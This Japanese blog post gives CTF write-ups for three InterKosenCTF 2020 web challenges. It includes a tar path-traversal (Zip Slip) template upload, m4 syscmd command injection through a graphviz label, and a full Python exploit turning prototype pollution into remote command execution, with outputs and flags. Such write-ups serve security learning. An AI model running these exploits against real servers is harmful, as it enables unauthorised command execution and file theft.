Ark's Blog

引っ越しました→ https://blog.arkark.dev/

ようこそ

InterKosenCTF 2020 writeup (miniblog, graphviz++, maze)

InterKosenCTF 2020 に ./Vespiary として参加しました。結果は全完で3位でした!チームメンバーに感謝。

以下は、自分が解いた問題のwriteupです。

writeup

略解:

公式リポジトリgithub.com

[web] miniblog

353pts, 14solves

問題概要

I created a minimal blog platform. It doesn't use any complex things.

ブログが書けるサービスとそのソースコードが与えられます。

思考

まず、server-side template injectionがしたくなるが、validationが強くてできない*1ので間接的に行う手段を考えます。

普通のサービスなら画像くらいそのままアップロードできるようにするはずなので、tarをサーバサイドで解凍してる部分が怪しいです。

@route("/upload", method="POST")
def do_upload():
    username = get_username()
    if not username:
        return abort(400)

    attachment = request.files.get("attachment")
    if not attachment:
        return abort(400)

    tarpath = 'tmp/{}'.format(uuid4().hex)
    attachments_dir = "userdir/{userid}/attachments/".format(userid=users[username]["id"])
    attachment.save(tarpath)
    try:
        tarfile.open(tarpath).extractall(path=attachments_dir)
    except (ValueError, RuntimeError):
        pass
    os.remove(tarpath)
    redirect("/")

シンボリックリンクをアップロードすると任意パスにリンクさせることは可能ですが、ダメでした。

ちゃんとguessing解法が回避されてた:

いろいろ考えたら解凍時にpath traversalができそうということに気づいたのでそれをやりました。

攻撃手順

検索するとPath-traversal archiverなるものが見つかったのでこれを使います。

まず、仕様 を確認しながらファイル一覧を表示するテンプレートを作成してtarで固めます:

template

<%
    import os

    n = 5
    xs = []
    for i in range(n):
        xs.append(os.listdir(("../" * i) + "."))
    end
%>
% for x in xs:
{{x}}<br>
% end
$ python path_traversal_archiver.py template xxx.tar.gz -l 1

アップロードしてブログページを開くと

['tmp', 'userdir', 'views', 'user_template', 'main.py']
['etc', 'bin', 'usr', 'run', 'opt', 'tmp', 'mnt', 'sbin', 'dev', 'lib', 'home', 'var', 'root', 'proc', 'srv', 'sys', 'media', 'miniblog', '.dockerenv', 'unpredicable_name_flag']
['etc', 'bin', 'usr', 'run', 'opt', 'tmp', 'mnt', 'sbin', 'dev', 'lib', 'home', 'var', 'root', 'proc', 'srv', 'sys', 'media', 'miniblog', '.dockerenv', 'unpredicable_name_flag']
['etc', 'bin', 'usr', 'run', 'opt', 'tmp', 'mnt', 'sbin', 'dev', 'lib', 'home', 'var', 'root', 'proc', 'srv', 'sys', 'media', 'miniblog', '.dockerenv', 'unpredicable_name_flag']
['etc', 'bin', 'usr', 'run', 'opt', 'tmp', 'mnt', 'sbin', 'dev', 'lib', 'home', 'var', 'root', 'proc', 'srv', 'sys', 'media', 'miniblog', '.dockerenv', 'unpredicable_name_flag']

が表示されます。unpredicable_name_flagがフラグっぽいのでtemplateファイルを更新します:

<%
    with open("../../../../../unpredicable_name_flag") as f:
        text = f.read()
%>
{{text}}
KosenCTF{u_saw_th3_zip51ip_in_the_53CC0N_Beginn3r5_didn7?}

と表示されました。

フラグ

KosenCTF{u_saw_th3_zip51ip_in_the_53CC0N_Beginn3r5_didn7?}

余談:この攻撃手法はZip Slipという名前が付いているらしい。知らなかった。

[web/misc] graphviz++

437pts, 6solves

問題概要

Make graphviz great again!

dot言語で書かれた2つのテキストからこれらを合成したsvgを生成するサービスと、そのソースコードが与えられます。

サーバサイドの子プロセスとして、dotコマンドとm4コマンドを実行してるようです。

思考

合成部分のソースコードは次のようになっています。

def merge(g1, g2):
    """ Merge 2 graphs """
    m4 = (
        "digraph merged {{\n"
        "define(`digraph', `subgraph')"
        "define(`{graph1}', `sub_{graph1}')"
        "include(`{file1}')"
        "define(`{graph2}', `sub_{graph2}')"
        "include(`{file2}')"
        "}}\n"
    )

    # convert DOT to JSON
    o1, e = dotit(g1, 'json')
    if e is not None:
        return None, e
    d1 = json.loads(o1)

    o2, e = dotit(g2, 'json')
    if e is not None:
        return None, e
    d2 = json.loads(o2)

    # check for intersection
    if len(listup_nodes(d1).intersection(listup_nodes(d2))) == 0:
        return None, "Error: Two graphs are independent (No intersection found)"

    # create and merge dot files
    with tempfile.NamedTemporaryFile() as f1, tempfile.NamedTemporaryFile() as f2:
        f1.write(g1.encode())
        f1.flush()
        f2.write(g2.encode())
        f2.flush()
        r, e = m4it(m4.format(
            graph1 = d1['name'],
            graph2 = d2['name'],
            file1 = f1.name,
            file2 = f2.name
        ))

    if e is None:
        return r.decode(), None
    else:
        return None, e.decode()

m4は聞いたことがなかったので調べてみると、マクロを処理しながらファイルを展開してくれるコマンドのようです:

組み込みマクロにsyscmd(`コマンド')の形式でコマンドを実行してくれるものがあるのでそれが使えそうです。

攻撃手順

digraph g1 {
a1 -> a2
a2 -> c [label="syscmd(`ls -la')"]
}
digraph g2 {
b1 -> b2
b2 -> c
}

f:id:ark4rk:20200907000409p:plain

flag_foxtrot.txtにフラグが書かれてそうなのでcatします。

f:id:ark4rk:20200907000412p:plain

フラグ

KosenCTF{1nt3rpr3t1ng_dur1ng_pr0c3ss1ng}

[lunatic/web] maze

461pts, 4solves

問題概要

I invented a Maze Solver API.

"Now We Know What the Maze Is."

長方形のマス目上の迷路情報をPOSTすると、それを解いて解を返答してくれるサービスが与えられます。

思考

util.jsdeepcopy関数の定義を見ると明らかにprototype pollutionの問題であることがわかります。

変数にフラグが代入されているとかではないため、RCEがしたくなりますが、そのためにはどこかしらで関数呼び出しを場所を汚染する必要があります。

探すと、maze.js

class Solver {
    constructor(F, S, G, heap=undefined) {
        this.maze = new Maze(F, S, G); // initial state
        if (heap) {
            this.heap = heap; // type of priority queue
        }
    }
    solve() {
        const comparator = (M1, M2) => { return M2.f - M1.f; }
        const heap = this.heap || 'BinaryHeap';
        var q = new Function('c', 'return new this.'+heap+'({comparator:c});')
            .bind(pq)(comparator); // <- Here!!!!
        q.push(this.maze);

        /* -- snip -- */
    }
}

Hereと書いた場所が怪しいです(実際のソースコードにはHereと書かれてません)。this.heapを汚染すると勝ちが見えてきます。

ただし、ここはdeepcopy関数が呼ばれる前なので、うまく適用できない気がします...

ここでsolve.jsをよく見ると

// Solve maze
var ms = new maze.Solver(map, start, goal, heap);
var result = ms.solve() !== undefined ? ms.solve() : 'impossible';

の場所で、ms.solve()が2回呼ばれてます!

つまり、

  1. 1回目のms.solve()の実行
    1. この時点でthis.heapは汚染されていない
    2. deepcopyが呼ばれるタイミングでprototype pollution
  2. 2回目のms.solve()の実行
    1. この時点でthis.heapは汚染されている

の処理の流れで悪さができそうです。

攻撃手順

exploit.py

import requests
import json

HOST = 'web.kosenctf.com'
PORT = 14002

maze = {
    "map": [
        [0, 0]
    ],
    "start": {
        "0": 0,
        "1": 0,
        "__proto__": {
            "__proto__": {
                "heap": "constructor ? ({push: () => {}, length: 1, pop: () => ({h: 0, move: global.process.mainModule.constructor._load(\"child_process\").execSync(\"{{command}}\").toString()})}) :",
            }
        }
    },
    "goal": [1, 0],
    "heap": None
}

r = requests.post(f"http://{HOST}:{PORT}/solve",
                  headers={"Content-Type": "application/json"},
                  data=json.dumps(maze))
print(r.text)

を実行すると、{{command}}のところで任意コマンド実行できる。

  • deepcopy関数の最初、左辺が{}ではなくnew Array()からスタートするので、 いい感じにObject.prototypeを汚染させるために__proto__が2段階ある。
  • new Function内でrequireを直接呼べなかったが、 global.process.mainModule.constructor._loadで呼べるらしい。

{{command}}のところを書き換えながらフラグを特定する:

  1. command = ls -la .
$ python exploit.py 
{"result":"total 52\ndrwxr-xr-x    1 root     node          4096 Sep  5 15:46 .\ndrwxr-xr-x    1 root     root          4096 Sep  5 15:46 ..\n-r-xr-xr-x    1 root     node          1105 Sep  3 14:51 app.js\n-r-xr-xr-x    1 root     node          3143 Sep  3 14:51 maze.js\ndr-xr-xr-x    1 root     node          4096 Sep  5 15:46 node_modules\n-r-xr-xr-x    1 root     node         16763 Sep  5 15:46 package-lock.json\n-r-xr-xr-x    1 root     node           292 Sep  3 14:51 package.json\n-r-xr-xr-x    1 root     node          1276 Sep  3 14:51 solve.js\n-r-xr-xr-x    1 root     node           547 Sep  3 14:51 util.js\n"}
  1. command = ls -la ..
$ python exploit.py
{"result":"total 72\ndrwxr-xr-x    1 root     root          4096 Sep  5 15:46 .\ndrwxr-xr-x    1 root     root          4096 Sep  5 15:46 ..\n-rwxr-xr-x    1 root     root             0 Sep  5 15:46 .dockerenv\ndrwxr-xr-x    1 root     node          4096 Sep  5 15:46 app\ndrwxr-xr-x    1 root     root          4096 Aug 28 17:22 bin\ndrwxr-xr-x    5 root     root           360 Sep  5 15:46 dev\ndrwxr-xr-x    1 root     root          4096 Sep  5 15:46 etc\n-r--r--r--    1 root     root            54 Sep  5 15:46 flag-1d613b84b99ed7c9e741627cd0324fbd.txt\ndrwxr-xr-x    1 root     root          4096 Aug 28 17:22 home\ndrwxr-xr-x    1 root     root          4096 Aug 28 17:22 lib\ndrwxr-xr-x    5 root     root          4096 Apr 23 06:25 media\ndrwxr-xr-x    2 root     root          4096 Apr 23 06:25 mnt\ndrwxr-xr-x    1 root     root          4096 Aug 28 17:22 opt\ndr-xr-xr-x  294 root     root             0 Sep  5 15:46 proc\ndrwx------    1 root     root          4096 Sep  5 15:46 root\ndrwxr-xr-x    2 root     root          4096 Apr 23 06:25 run\ndrwxr-xr-x    2 root     root          4096 Apr 23 06:25 sbin\ndrwxr-xr-x    2 root     root          4096 Apr 23 06:25 srv\ndr-xr-xr-x   13 root     root             0 Sep  5 15:46 sys\ndrwxrwxrwt    1 root     root          4096 Aug 28 17:22 tmp\ndrwxr-xr-x    1 root     root          4096 Aug 28 17:22 usr\ndrwxr-xr-x    1 root     root          4096 Apr 23 06:25 var\n"}
  1. command = cat ../flag-1d613b84b99ed7c9e741627cd0324fbd.txt
$ python exploit.py
{"result":"KosenCTF{g01ng_fr0m_Array_prototype_pollution_t0_RCE}\n"}

フラグ

KosenCTF{g01ng_fr0m_Array_prototype_pollution_t0_RCE}

感想

今回僕は上記のweb問3つしか見てないですが、どの問題もエスパー要素がほぼなく純粋にたのしんで解ける問題でした。個人的に最近はprototype pollutionが好きなのでmazeは特にたのしめました。

最近の問題への取り組み方として、作問者の意図を探る大切さを感じています。今回で言うと、miniblogでのtarの展開やmazeでのnew Functionなどです。そこにそれがあるのは何かしらの理由があるはずなので、解くときの切り口としてその理由を考えるのはかなり有効的だと感じています。当たり前のことではあるけど、今回はそれがかなり効きました。

*1:一応、非想定解で可能みたいです:https://furutsuki.hatenablog.com/entry/2020/09/06/230446